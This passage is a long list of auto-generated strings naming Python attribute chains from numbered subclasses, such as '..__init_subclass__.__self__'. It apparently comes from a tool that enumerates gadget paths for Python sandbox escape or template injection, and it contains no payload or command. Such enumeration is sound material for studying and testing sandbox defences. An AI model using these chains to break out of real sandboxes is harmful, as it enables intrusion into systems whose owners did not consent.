..__new__.__reduce_ex__.__self__", "Subclass 188: ..__copy__.__repr__.__objclass__", "Subclass 184: ..__init_subclass__.__self__.append", "Subclass 92: .._search_registry.__func__.__class__", "Subclass 164: ..repr_deque.__init_subclass__.__self__", "Subclass 112: ..__class__.register", "Subclass 177: .._create_exit_wrapper", "Subclass 175: .._recreate_cm.__format__.__self__", "Subclass 135: .._Printer__setup.__dir__.__self__", "Subclass 109: ..__weakref__.__objclass__.__enter__", "Subclass 195: ..TextIO.tell", "Subclass 199: ..__class__.__new__.__class__", "Subclass 185: ..__init__.__get__.__self__", "Subclass 81: ..release.__get__.__self__", "Subclass 195: ..TextIO.truncate", "Subclass 185: ..getuntil.__reduce__.__self__", "Subclass 138: ..__init__.__getattribute__.__self__", "Subclass 130: ..__len__.__call__.__objclass__", "Subclass 132: ..__call__.__le__.__self__", "Subclass 94: ..open_resource.__format__.__self__", "Subclass 94: ..__subclasshook__.__self__.get_filename", "Subclass 107: ..reset", "Subclass 179: ..__class__._convert_.__class__", "Subclass 119: ..__class__.__subclasscheck__", "Subclass 98: ..__subclasshook__.__self__.__init__", "Subclass 138: ..__init__.__subclasshook__.__self__", "Subclass 106: ..decode.__dir__.__self__", "Subclass 80: ..__repr__.__gt__.__self__", "Subclass 197: ..__weakref__.__objclass__.find_module", "Subclass 184: ..__delitem__.__str__.__self__", "Subclass 109: ..__next__.__setattr__.__self__", "Subclass 95: ..__contains__.__dir__.__self__", "Subclass 96: ..get_source.__str__.__self__", "Subclass 98: ..invalidate_caches.__get__.__objclass__", "Subclass 94: ..load_module.__le__.__self__", "Subclass 80: ..__repr__.__reduce__.__self__", "Subclass 94: ..__init__.__sizeof__.__self__", "Subclass 134: ..__repr__.__hash__.__self__", "Subclass 110: ..__init__.__init_subclass__.__self__", "Subclass 94: ..get_data.__str__.__self__", "Subclass 133: ..__enter__.__dir__.__self__", "Subclass 104: ..find_module.__eq__.__self__", "Subclass 95: ..__init__.__gt__.__self__", "Subclass 177: .._create_exit_wrapper.__sizeof__.__self__", "Subclass 185: ..getuntil.__format__.__self__", "Subclass 194: ..__class__.__instancecheck__", "Subclass 93: ..__init_subclass__.__self__.is_package", "Subclass 164: ..repr_str.__get__.__objclass__", "Subclass 110: ..__iter__.__format__.__self__", "Subclass 164: ..repr_str.__setattr__.__self__", "Subclass 83: ..__init__.__str__.__self__", "Subclass 98: ..path_hook.__self__.find_module", "Subclass 95: .._find_parent_path_names.__format__.__self__", "Subclass 184: ..getwidth.__init_subclass__.__self__", "Subclass 164: ..repr_array.__init__.__self__", "Subclass 93: ..__init_subclass__.__self__.create_module", "Subclass 132: ..__init_subclass__.__self__.__call__", "Subclass 173: ..__init__.__init_subclass__.__self__", "Subclass 109: ..reset.__str__.__self__", "Subclass 184: ..dump.__dir__.__self__", "Subclass 185: ..__subclasshook__.__self__._Tokenizer__next", "Subclass 197: ..find_module.__le__.__self__", "Subclass 164: ..repr_tuple.__ge__.__self__", "Subclass 184: ..__setitem__.__repr__.__self__", "Subclass 94: ..__init__.__setattr__.__self__", "Subclass 92: .._search_registry.__func__", "Subclass 140: ..__subclasshook__.__self__.__init__", "Subclass 174: ..__init__.__subclasshook__.__self__", "Subclass 184: ..__subclasshook__.__self__.__repr__", "Subclass 199: ..is_resource.__getattribute__.__self__", "Subclass 136: ..__call__.__setattr__.__self__", "Subclass 133: ..__init__.__init__.__self__", "Subclass 80: ..has_deadlock.__hash__.__self__", "Subclass 95: ..__init__.__init__.__self__", "Subclass 110: ..__exit__.__ne__.__self__", "Subclass 110: ..__getattr__.__ge__.__self__", "Subclass 184: ..__init_subclass__.__self__.__delitem__", "Subclass 95: ..__len__.__gt__.__self__", "Subclass 80: ..__init__.__get__.__self__", "Subclass 179: ..__class__.__getitem__", "Subclass 98: ..find_spec.__getattribute__.__self__", "Subclass 109: ..__iter__.__lt__.__self__", "Subclass 184: ..__init__.__reduce__.__self__", "Subclass 172: ..__init__.__repr__.__self__", "Subclass 104: ..get_resource_reader.__call__.__objclass__", "Subclass 107: ..__init__.__get__.__objclass__", "Subclass 96: ..exec_module.__delattr__.__self__", "Subclass 84: ..find_spec.__self__.module_repr", "Subclass 164: ..repr1.__hash__.__self__", "Subclass 98: .._fill_cache.__init__.__self__", "Subclass 197: ..find_module.__init__.__self__", "Subclass 104: ..__init__.__sizeof__.__self__", "Subclass 135: ..__call__.__class__", "Subclass 83: ..__eq__.__reduce_ex__.__self__", "Subclass 184: ..__len__.__init__.__self__", "Subclass 174: ..__init__.__reduce__.__self__", "Subclass 183: ..opengroup.__call__.__objclass__", "Subclass 93: ..is_package.__call__.__objclass__", "Subclass 108: ..decode.__reduce_ex__.__self__", "Subclass 138: ..__await__.__new__.__self__", "Subclass 188: ..__deepcopy__.__call__.__self__", "Subclass 86: ..get_code.__self__.module_repr", "Subclass 177: ..push.__dir__.__self__", "Subclass 80: ..acquire.__init__.__self__", "Subclass 135: ..__call__.__reduce__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_resource_reader", "Subclass 107: ..getstate.__reduce_ex__.__self__", "Subclass 137: ..__init_subclass__.__self__.__delete__", "Subclass 93: ..exec_module.__call__.__objclass__", "Subclass 98: ..invalidate_caches.__format__.__self__", "Subclass 104: ..__weakref__.__objclass__.load_module", "Subclass 110: ..write.__le__.__self__", "Subclass 172: .._make_unbound_method.__repr__.__self__", "Subclass 164: ..repr_deque.__gt__.__self__", 'Global func 1: ..__new__.__self__', "Subclass 104: ..find_loader.__lt__.__self__", "Subclass 104: ..get_data.__get__.__self__", "Subclass 86: ..is_package.__func__.__class__", "Subclass 98: ..__repr__.__ne__.__self__", "Subclass 184: ..__len__.__get__.__objclass__", "Subclass 177: ..callback.__reduce__.__self__", "Subclass 177: ..callback.__init__.__self__", "Subclass 108: ..getstate.__reduce__.__self__", "Subclass 184: ..__len__.__call__.__objclass__", "Subclass 82: ..__exit__.__setattr__.__self__", "Subclass 93: ..load_module.__gt__.__self__", "Subclass 105: ..__init__.__repr__.__objclass__", "Subclass 199: ..contents.__subclasshook__.__self__", "Subclass 184: ..insert.__format__.__self__", "Subclass 133: ..__init_subclass__.__self__.__enter__", "Subclass 95: ..__len__.__call__.__self__", "Subclass 98: ..__init_subclass__.__self__.find_spec", "Subclass 108: ..__init__", "Subclass 109: ..__init_subclass__.__self__.__exit__", "Subclass 198: ..__class__.register.__class__", "Subclass 115: ..__subclasshook__.__func__", "Subclass 132: ..__class__.__new__.__class__", "Subclass 94: ..get_resource_reader.__getattribute__.__self__", "Subclass 109: ..__iter__.__call__.__objclass__", "Subclass 134: ..__call__.__reduce_ex__.__self__", 'Global func 1: ..__reduce__.__self__.__class__', "Subclass 105: ..__init_subclass__.__self__.is_resource", "Subclass 109: ..__enter__.__class__", "Subclass 109: ..reset.__dir__.__self__", "Subclass 185: ..get.__eq__.__self__", "Subclass 140: ..__enter__.__dir__.__self__", "Subclass 86: ..module_repr.__get__.__self__", "Subclass 105: ..is_resource.__reduce__.__self__", "Subclass 184: ..insert.__ge__.__self__", "Subclass 164: ..repr_tuple.__hash__.__self__", "Subclass 164: ..repr_list.__ne__.__self__", "Subclass 185: ..error.__init_subclass__.__self__", "Subclass 81: ..__init__.__reduce__.__self__", "Subclass 83: ..__init__.__get__.__self__", "Subclass 110: ..__iter__.__lt__.__self__", "Subclass 184: ..dump.__repr__.__self__", "Subclass 198: ..load_module.__repr__.__self__", "Subclass 164: ..repr_frozenset.__setattr__.__self__", "Subclass 184: ..getwidth", "Subclass 110: ..writelines.__new__.__self__", "Subclass 107: ..setstate.__get__.__self__", "Subclass 199: ..resource_path.__gt__.__self__", "Subclass 177: ..__init__.__hash__.__self__", "Subclass 94: ..resource_path.__repr__.__self__", "Subclass 137: ..__get__.__call__.__self__", "Subclass 177: ..enter_context.__eq__.__self__", "Subclass 107: ..reset.__lt__.__self__", "Subclass 164: ..repr_instance.__sizeof__.__self__", "Subclass 104: ..__subclasshook__.__self__.load_module", "Subclass 137: ..deleter.__str__.__self__", "Subclass 87: ..__exit__.__reduce_ex__.__self__", "Subclass 105: ..open_resource.__init__.__self__", "Subclass 110: ..reset.__repr__.__self__", "Subclass 185: ..get.__format__.__self__", "Subclass 164: ..repr_array.__call__.__objclass__", "Subclass 96: ..get_source.__repr__.__self__", "Subclass 109: ..write.__str__.__self__", "Subclass 82: ..__enter__.__new__.__self__", "Subclass 107: ..setstate.__str__.__self__", "Subclass 136: ..__call__.__init__.__self__", "Subclass 94: ..contents.__ge__.__self__", "Subclass 104: ..__repr__.__delattr__.__self__", "Subclass 133: ..__enter__.__reduce_ex__.__self__", "Subclass 95: ..__iter__.__setattr__.__self__", "Subclass 177: ..pop_all.__hash__.__self__", "Subclass 185: ..getwhile.__getattribute__.__self__", "Subclass 104: ..is_package.__class__", "Subclass 133: ..__iter__.__hash__.__self__", "Subclass 164: ..__init__.__call__.__objclass__", "Subclass 115: ..__await__.__gt__.__self__", "Subclass 107: ..getstate.__init_subclass__.__self__", "Subclass 94: ..is_resource.__getattribute__.__self__", "Subclass 175: ..__call__.__sizeof__.__self__", "Subclass 133: ..__exit__.__get__.__self__", "Subclass 109: ..__enter__.__getattribute__.__self__", "Subclass 185: ..error.__get__.__objclass__", "Subclass 184: ..insert.__init__.__self__", "Subclass 173: ..__init__.__setattr__.__self__", "Subclass 135: ..__init__.__call__.__self__", "Subclass 164: ..repr_array.__repr__.__objclass__", "Subclass 184: ..dump.__eq__.__self__", "Subclass 185: ..seek.__eq__.__self__", "Subclass 95: .._find_parent_path_names.__ge__.__self__", "Subclass 110: ..__enter__.__init_subclass__.__self__", "Subclass 110: ..__iter__.__sizeof__.__self__", "Subclass 86: ..exec_module.__ne__.__self__", "Subclass 174: ..__init__.__get__.__objclass__", "Subclass 132: ..__call__.__call__.__objclass__", "Subclass 185: ..match.__delattr__.__self__", "Subclass 107: ..reset.__class__", "Subclass 183: ..checklookbehindgroup.__getattribute__.__self__", "Subclass 164: ..repr_frozenset.__subclasshook__.__self__", "Subclass 185: .._Tokenizer__next.__sizeof__.__self__", "Subclass 84: ..module_repr.__format__.__self__", "Subclass 92: .._open_registry.__func__", "Subclass 174: ..__set_name__.__class__", "Subclass 185: ..getuntil.__init_subclass__.__self__", "Subclass 173: ..__get__.__format__.__self__", "Subclass 119: ..__iter__.__call__.__self__", "Subclass 117: ..__class__._abc_caches_clear", "Subclass 94: ..get_filename.__getattribute__.__self__", "Subclass 185: ..__init__.__hash__.__self__", "Subclass 177: ..enter_context.__format__.__self__", "Subclass 109: ..read.__dir__.__self__", "Subclass 94: ..__init__.__class__", "Subclass 173: ..__init_subclass__.__self__.__init__", "Subclass 109: ..__exit__.__setattr__.__self__", "Subclass 81: ..__init__.__str__.__self__", "Subclass 93: ..exec_module.__getattribute__.__self__", "Subclass 185: ..__subclasshook__.__self__.getuntil", "Subclass 189: ..__class_getitem__.__func__.__class__", "Subclass 135: ..__repr__.__hash__.__self__", "Subclass 86: ..module_repr.__repr__.__self__", "Subclass 184: ..__init__.__new__.__self__", "Subclass 139: ..__init__.__call__.__objclass__", "Subclass 83: ..__weakref__.__objclass__.__eq__", "Subclass 174: ..__set_name__.__lt__.__self__", "Subclass 137: ..__get__.__setattr__.__self__", "Subclass 108: ..getstate.__gt__.__self__", "Subclass 131: ..__contains__.__init_subclass__.__self__", "Subclass 138: ..__await__.__reduce_ex__.__self__", "Subclass 105: ..is_resource.__getattribute__.__self__", "Subclass 94: ..__eq__.__class__", "Subclass 86: ..exec_module.__le__.__self__", "Subclass 105: ..open_resource.__le__.__self__", "Subclass 95: ..__init__.__reduce__.__self__", "Subclass 83: ..__repr__.__getattribute__.__self__", "Subclass 135: ..__call__.__ge__.__self__", "Subclass 107: ..reset.__le__.__self__", "Subclass 83: ..__eq__.__init__.__self__", "Subclass 139: ..__str__.__repr__.__objclass__", "Subclass 185: ..getuntil.__delattr__.__self__", "Subclass 93: ..load_module.__getattribute__.__self__", "Subclass 140: ..__exit__.__str__.__self__", "Subclass 137: ..__init__.__lt__.__self__", "Subclass 105: ..open_resource.__get__.__self__", "Subclass 95: ..__contains__", "Subclass 183: ..opengroup.__setattr__.__self__", "Subclass 86: ..module_repr", "Subclass 94: ..__hash__.__new__.__self__", "Subclass 133: ..__subclasshook__.__self__.__exit__", "Subclass 98: ..invalidate_caches.__getattribute__.__self__", "Subclass 104: ..find_loader.__setattr__.__self__", "Subclass 185: .._Tokenizer__next.__ge__.__self__", "Subclass 110: ..write.__ne__.__self__", "Subclass 197: ..find_module.__sizeof__.__self__", "Subclass 184: ..dump.__class__", "Subclass 80: ..acquire.__setattr__.__self__", "Subclass 105: ..__weakref__.__objclass__.resource_path", "Subclass 107: ..encode.__repr__.__self__", "Subclass 93: ..load_module.__new__.__self__", "Subclass 137: ..getter.__hash__.__self__", "Subclass 177: .._create_cb_wrapper.__subclasshook__.__self__", "Subclass 105: ..is_resource.__eq__.__self__", "Subclass 185: ..seek", "Subclass 140: ..__init__.__get__.__self__", "Subclass 109: ..__init__", "Subclass 184: ..__setitem__.__le__.__self__", "Subclass 104: ..is_package.__repr__.__objclass__", "Subclass 188: ..__deepcopy__.__delattr__.__self__", "Subclass 106: ..decode.__getattribute__.__self__", "Subclass 136: ..__subclasshook__.__self__.__call__", "Subclass 93: ..create_module.__getattribute__.__self__", "Subclass 172: ..__get__.__delattr__.__self__", "Subclass 83: ..__eq__.__get__.__self__", "Subclass 105: ..is_resource.__get__.__objclass__", "Subclass 140: ..__enter__", "Subclass 95: ..__iter__.__lt__.__self__", "Subclass 98: ..path_hook.__func__", "Subclass 108: ..__weakref__.__objclass__.__init__", "Subclass 184: ..__repr__.__getattribute__.__self__", "Subclass 137: ..__set__", "Subclass 137: ..setter.__dir__.__self__", "Subclass 95: .._recalculate.__get__.__objclass__", "Subclass 139: ..__weakref__.__objclass__.__str__", "Subclass 83: ..__init__.__delattr__.__self__", "Subclass 172: ..__get__.__reduce_ex__.__self__", "Subclass 177: ..__init__.__init__.__self__", "Subclass 164: ..repr.__str__.__self__", "Subclass 177: .._push_exit_callback.__ge__.__self__", "Subclass 108: ..decode.__init_subclass__.__self__", "Subclass 173: ..__init__.__get__.__self__", "Subclass 80: ..__init_subclass__.__self__.__init__", "Subclass 184: ..__getitem__.__lt__.__self__", "Subclass 185: ..match.__init_subclass__.__self__", "Subclass 133: ..__enter__.__call__.__self__", "Subclass 137: ..getter.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__lt__.__self__", "Subclass 177: .._create_exit_wrapper.__ge__.__self__", "Subclass 94: ..load_module.__str__.__self__", "Subclass 199: ..__weakref__.__objclass__.contents", "Subclass 185: ..match.__reduce_ex__.__self__", "Subclass 87: ..__exit__.__dir__.__self__", "Subclass 138: ..send.__dir__.__self__", "Subclass 185: ..get.__le__.__self__", "Subclass 109: ..seek.__reduce_ex__.__self__", "Subclass 105: ..__init__.__repr__.__self__", "Subclass 196: ..Match.__class__.__call__", "Subclass 133: ..__enter__.__get__.__self__", "Subclass 96: ..module_repr.__self__.create_module", "Subclass 94: ..open_resource.__ge__.__self__", "Subclass 82: ..__enter__.__call__.__self__", "Subclass 98: ..find_spec.__eq__.__self__", "Subclass 110: ..__subclasshook__.__self__.__init__", "Subclass 109: ..writelines.__call__.__self__", "Subclass 172: ..__get__.__get__.__objclass__", "Subclass 138: ..throw.__subclasshook__.__self__", "Subclass 109: ..read.__delattr__.__self__", "Subclass 117: ..__class__._abc_registry_clear", "Subclass 109: ..__weakref__.__objclass__.writelines", "Subclass 93: ..exec_module.__delattr__.__self__", "Subclass 95: .._recalculate.__hash__.__self__", "Subclass 184: ..getwidth.__format__.__self__", "Subclass 174: ..__set_name__.__reduce_ex__.__self__", "Subclass 164: ..repr_str.__get__.__self__", "Subclass 80: ..has_deadlock.__reduce__.__self__", "Subclass 137: ..setter.__str__.__self__", "Subclass 83: ..__eq__.__reduce__.__self__", 'Global func 1: ..__sizeof__.__self__.__class__', "Subclass 104: ..is_package.__subclasshook__.__self__", "Subclass 138: ..throw.__eq__.__self__", "Subclass 97: .._path_importer_cache.__func__.__class__", "Subclass 94: ..load_module.__get__.__self__", "Subclass 110: ..__weakref__.__objclass__.__iter__", "Subclass 98: ..find_spec.__repr__.__self__", "Subclass 183: ..__weakref__.__objclass__.closegroup", "Subclass 94: ..open_resource.__call__.__self__", "Subclass 93: ..is_package.__init_subclass__.__self__", "Subclass 95: .._find_parent_path_names.__setattr__.__self__", "Subclass 140: ..__repr__", "Subclass 135: ..__init__.__init_subclass__.__self__", "Subclass 140: ..__exit__.__gt__.__self__", "Subclass 137: ..__init_subclass__.__self__.setter", "Subclass 198: ..__class__._dump_registry", "Subclass 96: ..create_module.__delattr__.__self__", "Subclass 177: ..callback.__call__.__self__", "Subclass 138: ..__init_subclass__.__self__.__next__", "Subclass 177: ..pop_all.__call__.__self__", "Subclass 109: ..__enter__.__lt__.__self__", "Subclass 95: ..__len__.__reduce__.__self__", "Subclass 80: ..release.__getattribute__.__self__", "Subclass 84: ..module_repr.__init_subclass__.__self__", "Subclass 105: ..resource_path.__call__.__self__", "Subclass 177: .._push_cm_exit.__init_subclass__.__self__", "Subclass 107: ..getstate.__dir__.__self__", "Subclass 164: ..repr_tuple", "Subclass 94: ..open_resource.__delattr__.__self__", "Subclass 185: .._Tokenizer__next.__subclasshook__.__self__", "Subclass 110: ..__weakref__.__objclass__.__enter__", "Subclass 164: ..repr_dict.__get__.__objclass__", "Subclass 164: ..repr_array.__init_subclass__.__self__", "Subclass 137: ..setter.__init_subclass__.__self__", "Subclass 95: ..__setitem__.__format__.__self__", "Subclass 108: ..getstate.__class__", "Subclass 98: ..find_loader.__hash__.__self__", "Subclass 183: ..checklookbehindgroup.__gt__.__self__", "Subclass 95: ..__repr__.__str__.__self__", "Subclass 172: ..__repr__.__reduce_ex__.__self__", "Subclass 104: ..__init__.__get__.__self__", "Subclass 109: ..writelines.__repr__.__self__", "Subclass 94: ..resource_path.__getattribute__.__self__", "Subclass 82: ..__init__.__class__", "Subclass 86: ..exec_module.__getattribute__.__self__", "Subclass 95: ..__getitem__.__ge__.__self__", "Subclass 135: ..__repr__.__reduce__.__self__", "Subclass 134: ..__init__.__format__.__self__", "Subclass 164: ..__init__.__init__.__self__", "Subclass 80: ..__repr__.__lt__.__self__", "Subclass 134: ..__init__.__le__.__self__", "Subclass 198: ..module_repr.__subclasshook__.__self__", "Subclass 115: ..__await__.__getattribute__.__self__", "Subclass 86: ..module_repr.__getattribute__.__self__", "Subclass 108: ..reset.__ne__.__self__", "Subclass 109: ..__iter__.__eq__.__self__", "Subclass 138: ..__iter__.__getattribute__.__self__", "Subclass 135: ..__init__.__get__.__self__", "Subclass 185: ..get.__call__.__objclass__", "Subclass 107: ..setstate.__eq__.__self__", "Subclass 108: ..reset.__call__.__self__", "Subclass 184: ..__repr__.__repr__.__objclass__", "Subclass 199: ..open_resource.__format__.__self__", "Subclass 110: ..__next__.__reduce__.__self__", "Subclass 137: ..__get__.__gt__.__self__", "Subclass 132: ..__class__.__new__", "Subclass 195: ..BinaryIO.read.__class__", "Subclass 80: ..__init__.__new__.__self__", "Subclass 185: ..getuntil.__sizeof__.__self__", "Subclass 108: ..__init__.__repr__.__self__", "Subclass 197: ..find_module.__call__.__self__", "Subclass 199: ..is_resource.__class__", "Subclass 82: ..__init__.__get__.__objclass__", "Subclass 110: ..__subclasshook__.__self__.write", "Subclass 117: ..__aiter__.__class__", "Subclass 109: ..__subclasshook__.__self__.write", "Subclass 109: ..reset.__gt__.__self__", "Subclass 133: ..__getattr__.__class__", "Subclass 177: ..pop_all.__le__.__self__", "Subclass 177: ..push.__init_subclass__.__self__", "Subclass 177: ..__init_subclass__.__self__._create_exit_wrapper", "Subclass 177: .._create_cb_wrapper.__lt__.__self__", "Subclass 184: ..__repr__.__dir__.__self__", "Subclass 108: ..setstate.__repr__.__self__", "Subclass 185: ..__init_subclass__.__self__.match", "Subclass 83: ..__eq__.__format__.__self__", "Subclass 105: ..is_resource.__dir__.__self__", "Subclass 137: ..__weakref__.__objclass__.__delete__", "Subclass 179: ..__class__.__len__", "Subclass 109: ..__getattr__.__gt__.__self__", "Subclass 84: ..find_module.__self__.module_repr", "Subclass 172: ..__repr__.__ge__.__self__", "Subclass 82: ..__init__.__lt__.__self__", "Subclass 138: ..__weakref__.__objclass__.close", "Subclass 188: ..__copy__", "Subclass 199: ..open_resource.__getattribute__.__self__", "Subclass 95: ..__init__.__setattr__.__self__", "Subclass 81: ..__repr__.__init_subclass__.__self__", "Subclass 96: ..load_module.__init__.__self__", "Subclass 104: ..__init__", "Subclass 110: ..__getattr__.__le__.__self__", "Subclass 188: ..__copy__.__class__", "Subclass 164: ..repr_tuple.__getattribute__.__self__", "Subclass 137: ..__delete__.__reduce__.__self__", "Subclass 133: ..__iter__.__lt__.__self__", "Subclass 198: ..module_repr.__getattribute__.__self__", "Subclass 98: ..__init__.__delattr__.__self__", "Subclass 199: ..contents.__get__.__objclass__", "Subclass 105: ..contents.__class__", "Subclass 104: ..load_module.__class__", "Subclass 98: ..__repr__.__le__.__self__", "Subclass 106: ..encode.__call__.__self__", "Subclass 94: ..get_resource_reader.__eq__.__self__", "Subclass 185: ..__subclasshook__.__self__.get", "Subclass 164: ..repr_int.__gt__.__self__", "Subclass 185: ..get.__getattribute__.__self__", "Subclass 104: ..get_filename.__repr__.__objclass__", "Subclass 87: ..__enter__.__delattr__.__self__", "Subclass 164: .._repr_iterable.__init_subclass__.__self__", "Subclass 140: ..__repr__.__subclasshook__.__self__", "Subclass 94: ..__init__.__repr__.__objclass__", "Subclass 188: ..__copy__.__ne__.__self__", "Subclass 198: ..__subclasshook__.__self__.module_repr", "Subclass 86: ..load_module.__self__.module_repr", "Subclass 139: ..__str__.__ne__.__self__", "Subclass 199: ..is_resource.__str__.__self__", "Subclass 109: ..__next__.__le__.__self__", "Subclass 173: ..register.__init__.__self__", "Subclass 107: ..getstate.__eq__.__self__", "Subclass 104: ..find_module.__repr__.__self__", "Subclass 81: ..__repr__.__subclasshook__.__self__", "Subclass 104: ..__init__.__dir__.__self__", "Subclass 174: ..__get__.__sizeof__.__self__", "Subclass 110: ..seek.__ne__.__self__", "Subclass 86: ..find_spec.__func__", "Subclass 94: ..load_module.__setattr__.__self__", "Subclass 110: ..reset.__getattribute__.__self__", "Subclass 134: ..__call__.__init__.__self__", "Subclass 164: ..repr_str.__dir__.__self__", "Subclass 184: ..__init_subclass__.__self__.__setitem__", "Subclass 172: ..__get__.__str__.__self__", "Subclass 133: ..__enter__.__lt__.__self__", "Subclass 93: ..load_module.__hash__.__self__", "Subclass 173: ..__get__.__sizeof__.__self__", "Subclass 140: ..__init__.__setattr__.__self__", "Subclass 133: ..__weakref__.__objclass__.close", "Subclass 94: ..__init__.__reduce__.__self__", "Subclass 177: ..pop_all", "Subclass 135: ..__repr__.__le__.__self__", "Subclass 105: ..__init__.__format__.__self__", "Subclass 174: ..__set_name__.__eq__.__self__", "Subclass 104: ..find_loader.__call__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_array", "Subclass 176: ..__init__.__get__.__self__", "Subclass 179: ..__class__._find_new_", "Subclass 94: ..get_data.__subclasshook__.__self__", "Subclass 138: ..close.__delattr__.__self__", "Subclass 98: ..__init__.__init__.__self__", "Subclass 104: ..get_source.__init__.__self__", "Subclass 105: ..__subclasshook__.__self__.contents", "Subclass 109: ..read.__repr__.__objclass__", "Subclass 95: ..append.__reduce_ex__.__self__", "Subclass 108: ..__init__.__getattribute__.__self__", "Subclass 95: ..__init__.__sizeof__.__self__", "Subclass 195: ..TextIO.isatty.__class__", "Subclass 109: ..reset.__reduce__.__self__", "Subclass 86: ..module_repr.__le__.__self__", "Subclass 137: ..__init__.__call__.__self__", "Subclass 96: ..create_module.__get__.__self__", "Subclass 130: ..__len__", "Subclass 94: ..is_resource.__reduce__.__self__", "Subclass 96: ..__weakref__.__objclass__.create_module", "Subclass 138: ..__await__.__reduce__.__self__", "Subclass 98: ..__weakref__.__objclass__.find_loader", "Subclass 177: ..__weakref__.__objclass__._push_cm_exit", "Subclass 132: ..__class__._abc_caches_clear.__class__", "Subclass 198: ..create_module.__init_subclass__.__self__", "Subclass 109: ..__exit__.__init_subclass__.__self__", "Subclass 109: ..read.__reduce_ex__.__self__", "Subclass 134: ..__init__.__hash__.__self__", "Subclass 133: ..__init__.__ne__.__self__", "Subclass 177: .._push_exit_callback.__lt__.__self__", "Subclass 136: ..__repr__.__call__.__objclass__", "Subclass 105: ..resource_path.__repr__.__self__", "Subclass 164: ..repr_instance.__ge__.__self__", "Subclass 80: ..__init__.__le__.__self__", "Subclass 110: ..readline.__call__.__self__", "Subclass 138: ..__init__.__eq__.__self__", "Subclass 110: ..__subclasshook__.__self__.seek", "Subclass 173: ..__init_subclass__.__self__.register", "Subclass 105: ..is_resource.__call__.__self__", "Subclass 199: ..resource_path.__reduce__.__self__", "Subclass 98: .._get_spec.__repr__.__objclass__", "Subclass 94: ..is_resource.__setattr__.__self__", "Subclass 173: ..register.__repr__.__self__", "Subclass 105: ..open_resource.__get__.__objclass__", "Subclass 131: ..__contains__.__str__.__self__", "Subclass 81: ..__init__", "Subclass 184: ..getwidth.__repr__.__self__", "Subclass 104: ..find_loader.__init_subclass__.__self__", "Subclass 164: ..repr_tuple.__delattr__.__self__", "Subclass 185: ..getwhile.__class__", "Subclass 164: ..__subclasshook__.__self__.repr_tuple", "Subclass 197: ..find_module.__delattr__.__self__", "Subclass 185: .._Tokenizer__next.__format__.__self__", "Subclass 82: ..__exit__.__class__", "Subclass 86: ..exec_module.__subclasshook__.__self__", "Subclass 106: ..decode.__delattr__.__self__", "Subclass 109: ..__init_subclass__.__self__.seek", "Subclass 164: ..__init__.__repr__.__objclass__", "Subclass 109: ..__subclasshook__.__self__.__init__", "Subclass 109: ..__enter__.__setattr__.__self__", "Subclass 135: ..__call__.__dir__.__self__", "Subclass 97: .._legacy_get_spec.__func__", "Subclass 109: ..__iter__.__dir__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_dict", "Subclass 198: ..load_module.__call__.__self__", "Subclass 94: ..get_resource_reader.__sizeof__.__self__", "Subclass 84: ..module_repr.__dir__.__self__", "Subclass 131: ..__class__._dump_registry.__class__", "Subclass 96: ..create_module.__lt__.__self__", "Subclass 173: ..register.__reduce__.__self__", "Subclass 109: ..__next__.__hash__.__self__", "Subclass 110: ..read.__get__.__self__", "Subclass 81: ..acquire.__class__", "Subclass 195: ..BinaryIO.readable", "Subclass 183: ..opengroup.__str__.__self__", "Subclass 184: ..dump.__getattribute__.__self__", "Subclass 104: ..__init__.__call__.__objclass__", "Subclass 177: .._create_cb_wrapper.__dir__.__self__", "Subclass 104: ..__repr__.__get__.__self__", "Subclass 174: ..__set_name__.__ne__.__self__", "Subclass 164: ..repr1.__init__.__self__", "Subclass 198: ..load_module.__eq__.__self__", "Subclass 106: ..encode.__hash__.__self__", "Subclass 115: ..__init_subclass__.__self__.__await__", "Subclass 137: ..getter.__str__.__self__", "Subclass 104: ..get_filename.__dir__.__self__", "Subclass 119: ..__iter__.__reduce_ex__.__self__", "Subclass 140: ..__init__.__delattr__.__self__", "Subclass 98: .._get_spec.__get__.__objclass__", "Subclass 164: ..repr_array.__gt__.__self__", "Subclass 80: ..__repr__.__init_subclass__.__self__", "Subclass 109: ..write.__delattr__.__self__", "Subclass 164: ..repr_instance.__getattribute__.__self__", "Subclass 109: ..__exit__.__ne__.__self__", "Subclass 133: ..__getattr__.__get__.__self__", "Subclass 107: ..encode.__hash__.__self__", "Subclass 184: ..__repr__.__ne__.__self__", "Subclass 138: ..__subclasshook__.__self__.__init__", "Subclass 94: ..get_filename.__class__", "Subclass 199: ..open_resource.__call__.__objclass__", "Subclass 109: ..__init__.__get__.__self__", "Subclass 192: ..__new__.__format__.__self__", "Subclass 164: ..repr_frozenset.__gt__.__self__", 'Global func 1: ..__get__.__objclass__', "Subclass 132: ..__class_getitem__.__self__.__call__", "Subclass 185: ..match.__getattribute__.__self__", "Subclass 183: ..checkgroup.__reduce__.__self__", "Subclass 86: ..module_repr.__lt__.__self__", "Subclass 105: ..resource_path.__str__.__self__", "Subclass 174: ..__set_name__.__repr__.__self__", "Subclass 177: ..pop_all.__reduce_ex__.__self__", "Subclass 198: ..load_module.__str__.__self__", "Subclass 82: ..__exit__.__init__.__self__", "Subclass 94: ..get_filename.__setattr__.__self__", "Subclass 110: ..__subclasshook__.__self__.__enter__", "Subclass 130: ..__class__.__subclasscheck__", "Subclass 110: ..__next__.__setattr__.__self__", "Subclass 115: ..__await__.__get__.__objclass__", "Subclass 174: ..__set_name__.__call__.__self__", "Subclass 184: ..__len__.__class__", "Subclass 164: ..repr_set.__eq__.__self__", "Subclass 96: ..get_code.__hash__.__self__", "Subclass 199: ..resource_path.__format__.__self__", "Subclass 95: ..__len__.__init_subclass__.__self__", "Subclass 80: ..release.__str__.__self__", "Subclass 81: ..__weakref__.__objclass__.acquire", "Subclass 87: ..__enter__.__sizeof__.__self__", "Subclass 96: ..is_package", "Subclass 107: ..encode.__str__.__self__", "Subclass 95: ..__getitem__.__reduce_ex__.__self__", "Subclass 185: ..match.__dir__.__self__", "Subclass 198: ..__class__._abc_registry_clear", "Subclass 95: ..__repr__.__get__.__objclass__", "Subclass 80: ..__init_subclass__.__self__.release", "Subclass 95: .._recalculate.__repr__.__self__", "Subclass 86: ..create_module.__self__.exec_module", "Subclass 197: ..find_module.__dir__.__self__", "Subclass 81: ..__repr__.__str__.__self__", "Subclass 95: ..__setitem__.__repr__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr", "Subclass 105: ..contents.__reduce_ex__.__self__", "Subclass 140: ..__init_subclass__.__self__.__enter__", 